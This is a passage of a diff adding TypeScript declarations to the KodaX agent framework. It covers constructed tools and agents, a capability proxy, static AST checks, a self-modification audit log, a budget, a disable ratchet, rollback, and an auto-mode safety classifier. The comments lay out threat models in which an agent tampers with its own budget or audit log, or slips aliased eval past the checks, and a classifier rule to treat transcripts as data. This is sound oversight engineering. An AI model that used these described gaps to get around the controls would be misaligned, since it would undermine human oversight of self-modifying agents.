+ * Used by the `test_tool` / `activate_tool` builtins to round-trip from a
3622
+ * caller-supplied identifier back to the on-disk manifest, since the
3623
+ * runtime keeps no in-memory artifact cache.
3624
+ */
3625
+ declare function readArtifact(name: string, version: string): Promise<ConstructionArtifact | undefined>;
3626
+
3627
+ /**
3628
+ * View-layer queries over TOOL_REGISTRY for constructed tools.
3629
+ *
3630
+ * These are pure read helpers — they do NOT re-implement lookup logic;
3631
+ * they enumerate / filter the existing registry stack. Lookup itself
3632
+ * remains owned by `getActiveToolRegistration()` in registry.ts (D2
3633
+ * decision — no Resolver class).
3634
+ */
3635
+
3636
+ /**
3637
+ * All registrations whose source.kind === 'constructed', across every
3638
+ * name in the registry. Order: registry insertion order per name; names
3639
+ * in `listTools()` order.
3640
+ */
3641
+ declare function listConstructed(): RegisteredToolDefinition[];
3642
+ /**
3643
+ * Locate a specific constructed registration by name + semver. Returns
3644
+ * undefined if no match exists. Useful for `revoke()` callers and CLI
3645
+ * `inspect` commands.
3646
+ */
3647
+ declare function findByVersion(name: string, version: string): RegisteredToolDefinition | undefined;
3648
+ /**
3649
+ * Every registration in the stack across every name (builtin + extension
3650
+ * + constructed). Caller filters as needed.
3651
+ */
3652
+ declare function listAll(): RegisteredToolDefinition[];
3653
+
3654
+ /**
3655
+ * FEATURE_089 (v0.7.31) Phase 3.4 — Constructed Agent Resolver.
3656
+ *
3657
+ * Module-singleton registry mapping `name` → runnable `Agent` for
3658
+ * agents that have passed admission and been activated through
3659
+ * `ConstructionRuntime.activate()`. Mirrors the way TOOL_REGISTRY
3660
+ * holds activated constructed tools, but for agents.
3661
+ *
3662
+ * Why a separate registry (not in TOOL_REGISTRY):
3663
+ *
3664
+ * - Tools and Agents are different runtime types. A `KodaXToolDefinition`
3665
+ * has `input_schema` + `handler`; an `Agent` has `instructions` +
3666
+ * `tools` + `handoffs` + `reasoning`. Conflating them would force
3667
+ * consumers to discriminate on every lookup.
3668
+ * - Resolution semantics differ: a tool lookup returns the executable
3669
+ * handler; an agent lookup returns the declarative spec (Runner.run
3670
+ * drives the loop separately).
3671
+ *
3672
+ * Resolution surface:
3673
+ *
3674
+ * - `resolveConstructedAgent(name)` — name → Agent | undefined
3675
+ * - `listConstructedAgents()` — snapshot of activated agents
3676
+ * - `registerConstructedAgent(artifact)` → unregister fn (called by
3677
+ * runtime on activate, captured in the runtime's `_activated` map)
3678
+ * - `_resetAgentResolverForTesting()` — test isolation
3679
+ *
3680
+ * Tool / handoff ref resolution:
3681
+ * - Tool refs are resolved against TOOL_REGISTRY at activation time —
3682
+ * a snapshot. If a referenced tool is later revoked, the agent
3683
+ * keeps its stale ref; Phase 3.5 sandbox testing catches this.
3684
+ * - Handoff target refs lift to stub Agent objects (`name` only) when
3685
+ * the target hasn't been activated yet. Transitive admission ran
3686
+ * at test time so the graph is known to be acyclic; runtime
3687
+ * traversal just walks the names.
3688
+ *
3689
+ * Non-goal: full referential consistency between tools / agents /
3690
+ * handoffs. The threat model is single-user CLI integrity (DD §14.5);
3691
+ * stale refs are an LLM-authoring footgun, not a security bypass.
3692
+ */
3693
+
3694
+ /**
3695
+ * Look up an activated constructed agent by name. Returns the
3696
+ * resolved `Agent` (with tools / handoffs lifted from refs). Returns
3697
+ * `undefined` when no agent at that name has been activated.
3698
+ */
3699
+ declare function resolveConstructedAgent(name: string): Agent | undefined;
3700
+ /**
3701
+ * FEATURE_090 — `true` iff a self-modify activation has been staged
3702
+ * for `name` but has not yet been drained into the active registry.
3703
+ * Surfaces for tooling that wants to display "next run will use
3704
+ * version X" hints, and as a sanity-check assertion in tests.
3705
+ */
3706
+ declare function hasPendingSwap(name: string): boolean;
3707
+ /**
3708
+ * FEATURE_090 — promote every pending self-modify entry into
3709
+ * `AGENT_REGISTRY`, replacing the prior active version. Returns the
3710
+ * names that were drained so the caller can surface a hint
3711
+ * ("alpha is now running version 1.1.0").
3712
+ *
3713
+ * Idempotent: calling on an empty pending map is a no-op. Atomic at
3714
+ * the JS event-loop level (a single synchronous pass); drain cannot
3715
+ * partially complete.
3716
+ *
3717
+ * Integration contract: the REPL surface calls this immediately after
3718
+ * any top-level `Runner.run` returns. KodaX is single-process and
3719
+ * single-user, so "the run that triggered the change" and "all
3720
+ * in-flight runs" are the same set — no concurrent-run coordination
3721
+ * needed.
3722
+ */
3723
+ declare function drainPendingSwaps(): readonly string[];
3724
+
3725
+ /**
3726
+ * CtxProxy — runtime gate for constructed tool handlers.
3727
+ *
3728
+ * Constructed handlers run in the host process (no JS-level sandbox; see
3729
+ * DD §14.5 for why we deliberately avoid worker_threads / isolated-vm).
3730
+ * Safety derives from a four-layer model — Guardrail static check,
3731
+ * `capabilities.tools` whitelist declaration, this CtxProxy at runtime,
3732
+ * and policy gate on activate.
3733
+ *
3734
+ * Behavior (v0.7.28, single-dim capabilities) — see DD §14.5.3:
3735
+ * - `ctx.tools.<name>(...)` — capability check first, then dispatch
3736
+ * through `executeTool()` so the call traverses the SAME registry
3737
+ * pipeline as a builtin tool invocation. This "completes the chain":
3738
+ * the constructed handler reuses every safety policy that already
3739
+ * ships with builtins (e.g. bash OS sandbox, write path policy,
3740
+ * truncation, error mapping).
3741
+ * - Plan-mode predicate (`hostCtx.planModeBlockCheck`) is consulted
3742
+ * before every dispatch so a constructed handler cannot reach a
3743
+ * write tool that the parent plan-mode would have blocked. The
3744
+ * predicate closes over live parent state, so toggles propagate
3745
+ * mid-call.
3746
+ * - Constructed→constructed call chains are bounded by
3747
+ * {@link MAX_CONSTRUCTED_DEPTH}. Builtin callees are not counted.
3748
+ * Exceeding the limit returns a tool error rather than throwing —
3749
+ * keeps the parent agent loop alive and reportable.
3750
+ * - Direct `ctx.tools` enumeration / introspection is gated; the
3751
+ * proxied `tools` object only exposes whitelisted names.
3752
+ * - All other `ctx.<x>` properties (executionCwd, abortSignal, etc.)
3753
+ * pass through unchanged — they are framework infra, not tool calls.
3754
+ *
3755
+ * Anti-tampering:
3756
+ * - Returned proxy is `Object.freeze`d at the top level so handlers
3757
+ * cannot reassign `ctx.tools`.
3758
+ * - `Object.getPrototypeOf(proxiedTools)` returns null (no prototype
3759
+ * pollution surface).
3760
+ *
3761
+ * NOT a security boundary in the V8 / sandbox sense — it is a contract
3762
+ * gate. Bypass attempts are part of the threat model addressed by
3763
+ * Guardrail static check + LLM review.
3764
+ */
3765
+
3766
+ interface CreateCtxProxyOptions {
3767
+ /**
3768
+ * When set, capability denial is reported through this callback before
3769
+ * the error is thrown. Lets the runtime emit a tracer span without
3770
+ * coupling CtxProxy to the tracer module.
3771
+ */
3772
+ readonly onDenied?: (event: {
3773
+ toolName: string;
3774
+ declaredTools: readonly string[];
3775
+ }) => void;
3776
+ }
3777
+ declare function createCtxProxy(ctx: unknown, capabilities: Capabilities, options?: CreateCtxProxyOptions): unknown;
3778
+
3779
+ /**
3780
+ * loadHandler — turns a manifest's handler script into a callable
3781
+ * `ToolHandler` ready to register into `TOOL_REGISTRY`.
3782
+ *
3783
+ * Pipeline:
3784
+ * 1. Validate language === 'javascript' (v0.7.28 hard limit).
3785
+ * 2. Materialize the handler source onto disk under
3786
+ * `<cwd>/.kodax/constructed/tools/<name>/<version>.js`.
3787
+ * 3. Dynamic `import()` of the file URL — host-process module load,
3788
+ * no worker / vm isolation (DD §14.4).
3789
+ * 4. Wrap with `createCtxProxy` + a Promise.race timeout.
3790
+ *
3791
+ * Design notes:
3792
+ * - Returning `ToolHandlerSync` (not the streaming variant) — v0.7.28
3793
+ * constructed tools are non-streaming computations.
3794
+ * - Handler return value is stringified for the agent loop, mirroring
3795
+ * builtin tool result conventions.
3796
+ * - ESM module cache is intentional: re-loading the same `<version>.js`
3797
+ * returns the cached module. Constructed artifacts are immutable per
3798
+ * version, so this is correct (revoke + new version is the proper
3799
+ * update path).
3800
+ * - Timeout is enforced via Promise.race; the underlying handler
3801
+ * promise is *not* hard-aborted (Node has no general task abort).
3802
+ * Long-running CPU loops will leak past timeout — accepted in the
3803
+ * v0.7.28 threat model (LLM hallucination, not adversarial DoS).
3804
+ */
3805
+
3806
+ interface LoadHandlerScope {
3807
+ readonly name: string;
3808
+ readonly version: string;
3809
+ /** Workspace root; defaults to `process.cwd()`. */
3810
+ readonly cwd?: string;
3811
+ }
3812
+ interface LoadHandlerOptions {
3813
+ /** Per-tool override; falls back to {@link DEFAULT_HANDLER_TIMEOUT_MS}. */
3814
+ readonly timeoutMs?: number;
3815
+ /** Pass-through to {@link createCtxProxy}. */
3816
+ readonly ctxProxyOptions?: CreateCtxProxyOptions;
3817
+ }
3818
+ declare function loadHandler(scope: LoadHandlerScope, source: ScriptSource, capabilities: Capabilities, options?: LoadHandlerOptions): Promise<ToolHandlerSync>;
3819
+
3820
+ /**
3821
+ * Hard AST rules — first-tier static check for constructed tool handlers.
3822
+ *
3823
+ * Three rules, picked for maximum determinism + minimum cost (DD §14.5.1):
3824
+ * 1. no-eval — any literal eval(...) call
3825
+ * 2. no-Function-constructor — new Function(...) and bare Function(...)
3826
+ * 3. require-handler-signature — module must export `handler` as an async
3827
+ * function/arrow/function-expression with
3828
+ * at least 2 parameters.
3829
+ *
3830
+ * Pass = enter LLM static review (second tier).
3831
+ * Fail = block stage(); errors surface in TestResult.errors.
3832
+ *
3833
+ * Limitations (deliberately):
3834
+ * - We do NOT chase aliases (`const e = eval; e('...')`).
3835
+ * - We do NOT walk property accesses (`globalThis.eval`).
3836
+ * - We do NOT analyze string concat to spot `['req','uire'].join('')`.
3837
+ * All of those are LLM-review territory — the rule set here is the
3838
+ * "cheap, certain" first cut.
3839
+ *
3840
+ * Uses the bundled TypeScript compiler (already a KodaX dep) as the
3841
+ * parser. Source kind is JS — handlers are limited to language='javascript'
3842
+ * by load-handler; we just parse-as-JS to match.
3843
+ */
3844
+ type AstRuleId = 'no-eval' | 'no-Function-constructor' | 'require-handler-signature';
3845
+ interface AstRuleViolation {
3846
+ readonly rule: AstRuleId;
3847
+ readonly message: string;
3848
+ }
3849
+ interface AstCheckResult {
3850
+ readonly ok: boolean;
3851
+ readonly violations: readonly AstRuleViolation[];
3852
+ }
3853
+ declare function runAstRules(jsCode: string): AstCheckResult;
3854
+
3855
+ /**
3856
+ * FEATURE_090 (v0.7.32) — Self-modify audit log.
3857
+ *
3858
+ * Append-only JSONL at `<cwd>/.kodax/constructed/_audit.jsonl`. Every
3859
+ * self-modify lifecycle event (staged / activated / rejected / rolled-
3860
+ * back / disabled / budget-reset) becomes one line. The file is the
3861
+ * sole record an operator can replay to answer "what did this agent
3862
+ * do to itself, when, and who approved each step."
3863
+ *
3864
+ * Why JSONL not JSON:
3865
+ * - Append is a one-line write, atomic against partial-flush concerns
3866
+ * (each line is independently parseable).
3867
+ * - Read can stream line-by-line without parsing the whole history.
3868
+ * - Standard tooling (jq, grep) works on the file directly.
3869
+ *
3870
+ * Why no rotation / truncation:
3871
+ * - Audit completeness > disk usage. A 100k-line file is ~10 MB and
3872
+ * remains tail-readable. The `kodax constructed audit` CLI surfaces
3873
+ * a warning when an agent crosses 100 entries — escalation cue,
3874
+ * not a hard cap.
3875
+ * - Truncating the audit log would defeat the point: a malicious
3876
+ * agent that gained write access could erase its own history.
3877
+ * Keeping the file append-only at the tooling level means
3878
+ * tampering shows up as JSONL the rest of the system can detect.
3879
+ *
3880
+ * Threat model:
3881
+ * The file lives in the same workspace the agent runs in, so an
3882
+ * agent with arbitrary filesystem write access could mutate it
3883
+ * directly. This module does NOT defend against that — KodaX's
3884
+ * single-user CLI threat model (DD §14.5) treats workspace
3885
+ * integrity as the user's responsibility. Each entry carries a
3886
+ * `diffHash` that downstream replay tools can re-compute against
3887
+ * the corresponding manifest version on disk; mismatches are an
3888
+ * alarm signal, not silently masked.
3889
+ */
3890
+
3891
+ /**
3892
+ * Discriminated union of audit event kinds. Every self-modify-related
3893
+ * lifecycle transition writes exactly one entry; rollback / disable /
3894
+ * budget-reset are also recorded for full operator visibility.
3895
+ *
3896
+ * `event` is the discriminant. Keep the constant names stable — CLI
3897
+ * filters and replay tooling pivot on these strings.
3898
+ */
3899
+ type AuditEventKind = 'self_modify_staged' | 'self_modify_tested' | 'self_modify_activated' | 'self_modify_rejected' | 'self_modify_rolled_back' | 'self_modify_disabled' | 'self_modify_budget_reset';
3900
+
3901
+ /**
3902
+ * Single line in `_audit.jsonl`. Frozen after write — entries are
3903
+ * never updated in place. Optional fields are omitted (not nulled)
3904
+ * when the event kind doesn't carry them, so JSON.parse round-trips
3905
+ * to a TS narrowing-friendly shape.
3906
+ */
3907
+ interface AuditEntry {
3908
+ readonly ts: string;
3909
+ readonly event: AuditEventKind;
3910
+ readonly agentName: string;
3911
+ readonly toVersion: string;
3912
+ /** Prior active version. Undefined for first-time staging events. */
3913
+ readonly fromVersion?: string;
3914
+ /** SHA-256 of the canonicalised `{ prev, next }` content pair. */
3915
+ readonly diffHash?: string;
3916
+ readonly llmSummary?: string;
3917
+ readonly severity?: SelfModifyDiffSeverity;
3918
+ readonly flaggedConcerns?: readonly string[];
3919
+ /**
3920
+ * Verdict surfaced by the policy gate. `force-ask-user` records the
3921
+ * (hypothetical) fact that self-modify path bypassed any global
3922
+ * auto-approve policy and forced a user prompt, distinct from the
3923
+ * default `ask-user`.
3924
+ */
3925
+ readonly policyVerdict?: 'approve' | 'reject' | 'ask-user' | 'force-ask-user';
3926
+ readonly budgetRemaining?: number;
3927
+ /** Hard-reject rule id when `event === 'self_modify_rejected'`. */
3928
+ readonly rejectRule?: string;
3929
+ readonly rejectReason?: string;
3930
+ /** OS user who took the action; informational, not authoritative. */
3931
+ readonly user?: string;
3932
+ }
3933
+ interface AppendOptions {
3934
+ /** Repo root (defaults to `process.cwd()`). */
3935
+ readonly cwd?: string;
3936
+ }
3937
+ /**
3938
+ * Append a single entry to the audit log. The directory is created on
3939
+ * first call. JSON serialisation enforces the line-per-entry shape:
3940
+ * one `JSON.stringify` followed by a literal `\n`. Multi-line JSON
3941
+ * (pretty-printed) would corrupt the JSONL contract.
3942
+ *
3943
+ * Concurrency note: Node `fs.appendFile` on a single small write is
3944
+ * atomic at the syscall level on the platforms KodaX targets
3945
+ * (Linux/macOS/Windows). KodaX is single-user CLI so concurrent
3946
+ * writers are not a real concern; defending against them would
3947
+ * require a lock file the rest of the construction runtime doesn't
3948
+ * carry.
3949
+ */
3950
+ declare function appendAuditEntry(entry: AuditEntry, options?: AppendOptions): Promise<void>;
3951
+ interface ReadOptions {
3952
+ readonly cwd?: string;
3953
+ /** Filter to a single agent. Undefined returns all entries. */
3954
+ readonly agentName?: string;
3955
+ /** Filter to specific event kinds. Undefined matches every kind. */
3956
+ readonly events?: readonly AuditEventKind[];
3957
+ }
3958
+ /**
3959
+ * Stream the audit log line-by-line, parse each, and return entries
3960
+ * matching the optional filters. Malformed lines are skipped with a
3961
+ * stderr warning — a single corrupted entry must not poison the
3962
+ * entire history. (This mirrors `loadAllArtifacts` in runtime.ts.)
3963
+ *
3964
+ * Returns an empty array when the audit file does not exist (fresh
3965
+ * workspace, no self-modify ever recorded).
3966
+ */
3967
+ declare function readAuditEntries(options?: ReadOptions): Promise<AuditEntry[]>;
3968
+
3969
+ /**
3970
+ * FEATURE_090 (v0.7.32) — Self-modify budget counter.
3971
+ *
3972
+ * Per-agent counter persisted at
3973
+ * `<cwd>/.kodax/constructed/agents/<name>/_self_modify.json`. The
3974
+ * counter caps how many cross-run self-modify cycles an agent can
3975
+ * accumulate before requiring a human unlock. Without this cap, an
3976
+ * agent that learns to self-modify could rewrite itself on every
3977
+ * session boot until it drifts arbitrarily far from the original
3978
+ * design — Layer A admission and the policy gate would each be a
3979
+ * single rubber-stamp click away.
3980
+ *
3981
+ * Why a separate file (not in the manifest):
3982
+ * - Manifests are content-hashed and version-immutable
3983
+ * (`stage()` refuses to rewrite an existing version). A counter
3984
+ * that mutates across versions cannot live inside the hashed
3985
+ * content without breaking the `contentHash` integrity guarantee.
3986
+ * - The counter accumulates across versions; binding it to one
3987
+ * `<version>.json` would lose state on every bump.
3988
+ *
3989
+ * Why hard-coded N=3 (not configurable):
3990
+ * - System-level safety constants the agent cannot influence are
3991
+ * part of the threat model. Allowing per-agent override would
3992
+ * mean a self-modifying agent could lift its own ceiling — the
3993
+ * opposite of what the budget is for. Users adjust by reset
3994
+ * (CLI `kodax constructed reset-self-modify-budget <name>`),
3995
+ * not by config.
3996
+ *
3997
+ * Threat model & hardening:
3998
+ * The file is plain JSON in the user's workspace. An agent with
3999
+ * filesystem write access (via Write/Edit tools) is an active
4000
+ * threat for FEATURE_090 — the agent itself is the actor we
4001
+ * gate against. We harden two ways:
4002
+ *
4003
+ * - The persisted `limit` is IGNORED on read; `readBudget`
4004
+ * always returns `DEFAULT_SELF_MODIFY_BUDGET` as the limit.
4005
+ * Tampering the file to raise the cap is a no-op.
4006
+ * - The persisted `count` is clamped to `>= 0` on read so a
4007
+ * negative number cannot grant extra remaining budget.
4008
+ *
4009
+ * What we do NOT defend against: an attacker with shell-level
4010
+ * filesystem access can still delete the file, which resets the
4011
+ * counter to zero. The audit log captures the behavioural gap
4012
+ * (5 self-modifies recorded but post-modify counter shows 0)
4013
+ * and an operator replaying the log notices.
4014
+ */
4015
+ /**
4016
+ * Default cross-run self-modify budget. N=3 was chosen as the
4017
+ * minimum that allows "two course corrections, then settle" while
4018
+ * forcing re-engagement before the agent drifts far from its
4019
+ * original design. Lifting this requires deliberately re-evaluating
4020
+ * whether the audit log + ratchet alone are sufficient.
4021
+ *
4022
+ * Not exported as a configurable knob — see module docstring for
4023
+ * the rationale.
4024
+ */
4025
+ declare const DEFAULT_SELF_MODIFY_BUDGET = 3;
4026
+ /**
4027
+ * On-disk shape of the per-agent budget file. `limit` and `count`
4028
+ * are stored as plain integers. `lastModifiedAt` is ISO-8601 (sortable
4029
+ * + human-readable) — the audit log carries millisecond timestamps,
4030
+ * which complement, not duplicate, this field.
4031
+ */
4032
+ interface BudgetState {
4033
+ readonly name: string;
4034
+ readonly limit: number;
4035
+ readonly count: number;
4036
+ readonly lastModifiedAt?: string;
4037
+ }
4038
+ interface BudgetIO {
4039
+ readonly cwd?: string;
4040
+ }
4041
+ /**
4042
+ * Read the agent's current budget state, materialising the default
4043
+ * record on first access. The default record is NOT persisted at
4044
+ * read time — only `consumeBudget` and `resetBudget` write to disk.
4045
+ * Read-only callers (e.g. the CLI's `audit` listing) must remain
4046
+ * side-effect-free so a `--dry-run` mode is trivially possible later.
4047
+ */
4048
+ declare function readBudget(name: string, io?: BudgetIO): Promise<BudgetState>;
4049
+ /**
4050
+ * Number of remaining self-modify slots. `limit - count`, clamped at
4051
+ * zero so a corrupt file that recorded `count > limit` doesn't show
4052
+ * a negative remaining count to the user.
4053
+ */
4054
+ declare function remaining(state: BudgetState): number;
4055
+ /**
4056
+ * Reset the consumption counter to zero. Does not change the limit.
4057
+ * Surface to users via `kodax constructed reset-self-modify-budget`.
4058
+ *
4059
+ * Returns the post-write state so the CLI can confirm "now N/N
4060
+ * available" without an extra read.
4061
+ */
4062
+ declare function resetBudget(name: string, io?: BudgetIO): Promise<BudgetState>;
4063
+
4064
+ /**
4065
+ * FEATURE_090 (v0.7.32) — Per-agent self-modify disable marker.
4066
+ *
4067
+ * The marker file at `.kodax/constructed/agents/<name>/_self_modify_disabled.json`
4068
+ * indicates the operator has explicitly disabled an agent's self-modify
4069
+ * capability through the `kodax constructed disable-self-modify <name>`
4070
+ * CLI. `validateSelfModify` consults this state and hard-rejects with
4071
+ * the `self-modify-disabled` rule when the marker exists.
4072
+ *
4073
+ * One-way ratchet by design:
4074
+ *
4075
+ * The CLI exposes `disable-self-modify` but no symmetrical `enable`.
4076
+ * Re-enabling self-modify is intentionally NOT supported — once an
4077
+ * operator decides an agent shouldn't be able to rewrite itself,
4078
+ * that decision sticks for the lifetime of the agent. To regain a
4079
+ * "can self-modify" agent, stage a separately-named replacement
4080
+ * through `stage_agent_construction`.
4081
+ *
4082
+ * Why a separate file (not a flag inside `_self_modify.json`):
4083
+ * - Concerns are independent: budget consumption is a counter that
4084
+ * legitimately mutates every activation cycle; disable is a
4085
+ * permanent operator decision. Mixing them would force the
4086
+ * budget read path to discriminate "is the file just a counter
4087
+ * update, or did someone also flip the disable flag?"
4088
+ * - File presence as the truth value is dead simple to detect
4089
+ * (`fs.access` returns OK / ENOENT).
4090
+ *
4091
+ * Threat model: same as the rest of FEATURE_090's persisted state —
4092
+ * single-user CLI workspace integrity (DD §14.5). An agent with
4093
+ * filesystem write access could create the marker itself, which is
4094
+ * actually fine: writing the marker only DISABLES (one-way safety
4095
+ * ratchet). Removing it would re-enable, but `validateSelfModify`
4096
+ * still requires the marker to be present to reject — if a
4097
+ * resourceful agent removes the marker AND submits a self-modify in
4098
+ * the same session, the modify still has to pass admission /
4099
+ * guardrail ratchet / user approval. The marker is one layer of
4100
+ * defense, not the only one.
4101
+ */
4102
+ interface DisableState {
4103
+ readonly name: string;
4104
+ readonly disabled: boolean;
4105
+ readonly disabledAt?: string;
4106
+ readonly user?: string;
4107
+ }
4108
+ interface DisableIO {
4109
+ readonly cwd?: string;
4110
+ }
4111
+ /**
4112
+ * Read the disable marker for `name`. Returns
4113
+ * `{ disabled: false, name }` when the file does not exist (the
4114
+ * common case). Malformed JSON content is treated as "not disabled"
4115
+ * with a stderr warning — we don't want a corrupt marker to silently
4116
+ * permit self-modifies on an agent the operator meant to disable.
4117
+ *
4118
+ * No, wait — we DO want corrupt markers to fail safe in the
4119
+ * "disabled" direction so an attacker can't bypass disable by
4120
+ * corrupting the file. Override: malformed → treat as disabled.
4121
+ */
4122
+ declare function readDisableState(name: string, io?: DisableIO): Promise<DisableState>;
4123
+ interface DisableOptions {
4124
+ readonly cwd?: string;
4125
+ readonly user?: string;
4126
+ }
4127
+ /**
4128
+ * Write the disable marker. Idempotent — calling on an
4129
+ * already-disabled agent rewrites the timestamp, preserving the
4130
+ * one-way ratchet semantics (the CLI surface still records the new
4131
+ * audit entry separately).
4132
+ */
4133
+ declare function disableSelfModify(name: string, options?: DisableOptions): Promise<DisableState>;
4134
+
4135
+ /**
4136
+ * FEATURE_090 (v0.7.32) — Self-modify rollback orchestration.
4137
+ *
4138
+ * `rollbackSelfModify` is the runtime-level operation behind the
4139
+ * `kodax constructed rollback <name>` CLI. It restores the
4140
+ * previously-active version of a constructed agent by:
4141
+ *
4142
+ * 1. Identifying the current active version (the `status='active'`
4143
+ * record with the most recent `activatedAt`).
4144
+ * 2. Identifying the rollback target — the next-most-recent
4145
+ * `status='active'` record on disk for the same name. Earlier
4146
+ * versions stay at `status='active'` after a self-modify
4147
+ * activate (FEATURE_090 design intent: keep them as rollback
4148
+ * targets), so the candidate set is whatever the file system
4149
+ * has.
4150
+ * 3. Revoking the current active record (status → 'revoked',
4151
+ * removed from the resolver via the unregister callback).
4152
+ * 4. Re-registering the target into the resolver. No policy gate,
4153
+ * no LLM summary, no force-ask-user — rollback is its own
4154
+ * operator-driven gate; the CLI invocation itself is the
4155
+ * authorisation.
4156
+ *
4157
+ * We do NOT rewrite the target's `activatedAt`. The original
4158
+ * activation timestamps form a natural rollback chain: a second
4159
+ * rollback against the same agent picks the next-older active
4160
+ * record, and so on. Rewriting `activatedAt` would collapse the
4161
+ * history and break chained rollbacks.
4162
+ *
4163
+ * Why a dedicated function (not a thin wrapper around `activate()`):
4164
+ *
4165
+ * - `activate()` triggers the FEATURE_090 self-modify detection
4166
+ * (`sourceAgent === name && active prev exists`). In a rollback
4167
+ * flow that detection would mis-fire and route through
4168
+ * force-ask-user / LLM summary, asking the user for permission
4169
+ * they already granted by invoking the rollback CLI.
4170
+ * - `activate()` enforces the FEATURE_088 policy gate; the CLI
4171
+ * surface configures `policy='reject'`, so it would always
4172
+ * throw.
4173
+ * - Rollback is read-modify-write across two persisted records
4174
+ * (revoke + re-register) and benefits from atomic-ish ordering
4175
+ * hidden behind one function rather than scattered across the
4176
+ * CLI.
4177
+ *
4178
+ * Audit semantics: this module persists the resolver/disk changes
4179
+ * but does NOT write the audit entry — the CLI surface owns audit
4180
+ * attribution (records the OS user) and writes the
4181
+ * `self_modify_rolled_back` entry around the call. Keeps the
4182
+ * runtime's persistence concern separate from CLI-side attribution.
4183
+ */
4184
+ interface RollbackResult {
4185
+ readonly agentName: string;
4186
+ readonly fromVersion: string;
4187
+ readonly toVersion: string;
4188
+ readonly fromActivatedAt: number | undefined;
4189
+ readonly toActivatedAt: number | undefined;
4190
+ }
4191
+ /**
4192
+ * Roll back `name` to its previous active version. Throws
4193
+ * `RollbackError` with a discriminated `code` so the CLI surface can
4194
+ * map onto exit codes / human-readable messages without string
4195
+ * matching.
4196
+ *
4197
+ * Pre-conditions:
4198
+ * - At least two records on disk for the given name with
4199
+ * `status='active'` and `activatedAt` set. The current is
4200
+ * revoked; the next-most-recent becomes the active resolver
4201
+ * entry.
4202
+ * - The rollback target's manifest must still pass admission. We
4203
+ * re-run admission so a target that was admissible at the time
4204
+ * it originally activated but no longer is (system caps tightened,
4205
+ * registered invariants changed) can't be silently re-registered.
4206
+ */
4207
+ declare function rollbackSelfModify(name: string): Promise<RollbackResult>;
4208
+
4209
+ /**
4210
+ * Auto-Mode Classifier Orchestrator — FEATURE_092 Phase 2b.3 (v0.7.33).
4211
+ *
4212
+ * Wires the classifier prompt + sideQuery + output parser into a single
4213
+ * `classify(...)` call. Caller supplies the rules, transcript, and the
4214
+ * tool-call action being classified; gets back a `ClassifyDecision`.
4215
+ *
4216
+ * Failure → decision mapping:
4217
+ *
4218
+ * sideQuery.stopReason parsedOutput → ClassifyDecision
4219
+ * ───────────────────────────────────────────────────────
4220
+ * end_turn / max_tokens block → block (with reason)
4221
+ * end_turn / max_tokens allow → allow
4222
+ * end_turn / max_tokens unparseable → block (fail-closed)
4223
+ * end_turn / max_tokens + tool_use → block (contract violation)
4224
+ * (sideQuery returns stopReason='error' here)
4225
+ * timeout — → escalate (user confirms)
4226
+ * aborted — → escalate (treated as caller-abort)
4227
+ * error — → escalate (5xx / 429 / network)
4228
+ *
4229
+ * Why fail-closed on unparseable but escalate on timeout/error:
4230
+ * Unparseable = model spoke but didn't follow the contract → likely
4231
+ * trying to bypass; treating as block is conservative and safe.
4232
+ * Timeout/error = transient; blocking would punish the user for our
4233
+ * infra hiccup. Escalating to a confirm dialog preserves user
4234
+ * agency without putting safety on the line.
4235
+ */
4236
+
4237
+ interface ClassifyOptions {
4238
+ readonly provider: KodaXBaseProvider;
4239
+ readonly model: string;
4240
+ readonly rules: AutoRules;
4241
+ readonly claudeMd?: string;
4242
+ readonly transcript: readonly KodaXMessage[];
4243
+ readonly action: string;
4244
+ /**
4245
+ * FEATURE_158 (v0.7.39): static-analysis signals forwarded to the
4246
+ * classifier prompt. Empty / undefined preserves the FEATURE_092 prompt
4247
+ * shape (no `<signals>` block emitted). When supplied, the classifier
4248
+ * sees signals between `<transcript>` and `<action>` as informational
4249
+ * input — not verdicts.
4250
+ */
4251
+ readonly signals?: readonly ToolCallSignal[];
4252
+ readonly timeoutMs?: number;
4253
+ readonly abortSignal?: AbortSignal;
4254
+ readonly costTracker?: CostTracker;
4255
+ /**
4256
+ * Optional setter — invoked once after `sideQuery` returns when the
4257
+ * classifier successfully recorded its token usage. The CostTracker is
4258
+ * immutable, so `sideQuery` produces a fresh tracker copy with the new
4259
+ * record; without this setter the recorded call is silently dropped.
4260
+ * Wired by the AutoModeToolGuardrail so the agent's tracker accumulates
4261
+ * classifier calls under role='auto_mode'.
4262
+ */
4263
+ readonly setCostTracker?: (next: CostTracker) => void;
4264
+ }
4265
+ type ClassifyDecision = {
4266
+ readonly kind: 'allow';
4267
+ readonly reason: string;
4268
+ } | {
4269
+ readonly kind: 'block';
4270
+ readonly reason: string;
4271
+ } | {
4272
+ readonly kind: 'escalate';
4273
+ readonly reason: string;
4274
+ };
4275
+ declare function classify(opts: ClassifyOptions): Promise<ClassifyDecision>;
4276
+
4277
+ /**
4278
+ * Classifier prompt builder — FEATURE_092 Phase 2b.3 (v0.7.33).
4279
+ *
4280
+ * Builds the system prompt + user message for the auto-mode classifier
4281
+ * sideQuery. Inert XML envelope: transcript and action are wrapped as
4282
+ * data, not as continuation of the conversation.
4283
+ *
4284
+ * Anti-injection defenses:
4285
+ * 1. The system prompt explicitly instructs the model to treat
4286
+ * <transcript> as data, never as instructions.
4287
+ * 2. User-controlled strings (transcript content, action, rules) are
4288
+ * passed through `neutralizeStructuralDelimiters` so they can't
4289
+ * forge a closing </transcript> or a fake <action>.
4290
+ * 3. Output format is constrained to `<block>yes|no</block><reason>…</reason>`
4291
+ * with explicit "Do NOT include thinking or preamble" guidance.
4292
+ */
4293
+
4294
+ interface BuildClassifierPromptInput {
4295
+ readonly rules: AutoRules;
4296
+ readonly claudeMd?: string;
4297
+ readonly transcript: readonly KodaXMessage[];
4298
+ readonly action: string;
4299
+ /**
4300
+ * FEATURE_158 (v0.7.39): mechanical pattern matches over the tool call
4301
+ * (dangerous_pattern / protected_path / outside_project / network / etc.).
4302
+ * Surfaced to the model as **informational input** — NOT verdicts. The
4303
+ * model weighs signals alongside transcript + rules to produce the
4304
+ * final allow / block / escalate decision.
4305
+ *
4306
+ * Empty / undefined → no `<signals>` block emitted (back-compat shape
4307
+ * for callers that don't yet supply signals).
4308
+ */
4309
+ readonly signals?: readonly ToolCallSignal[];
4310
+ }
4311
+ interface ClassifierPrompt {
4312
+ readonly system: string;
4313
+ readonly messages: readonly KodaXMessage[];
4314
+ }
4315
+ declare function buildClassifierPrompt(input: BuildClassifierPromptInput): ClassifierPrompt;
4316
+
4317
+ /**
4318
+ * Transcript stripping for the auto-mode classifier — FEATURE_092 Phase 2b.3 (v0.7.33).
4319
+ *
4320
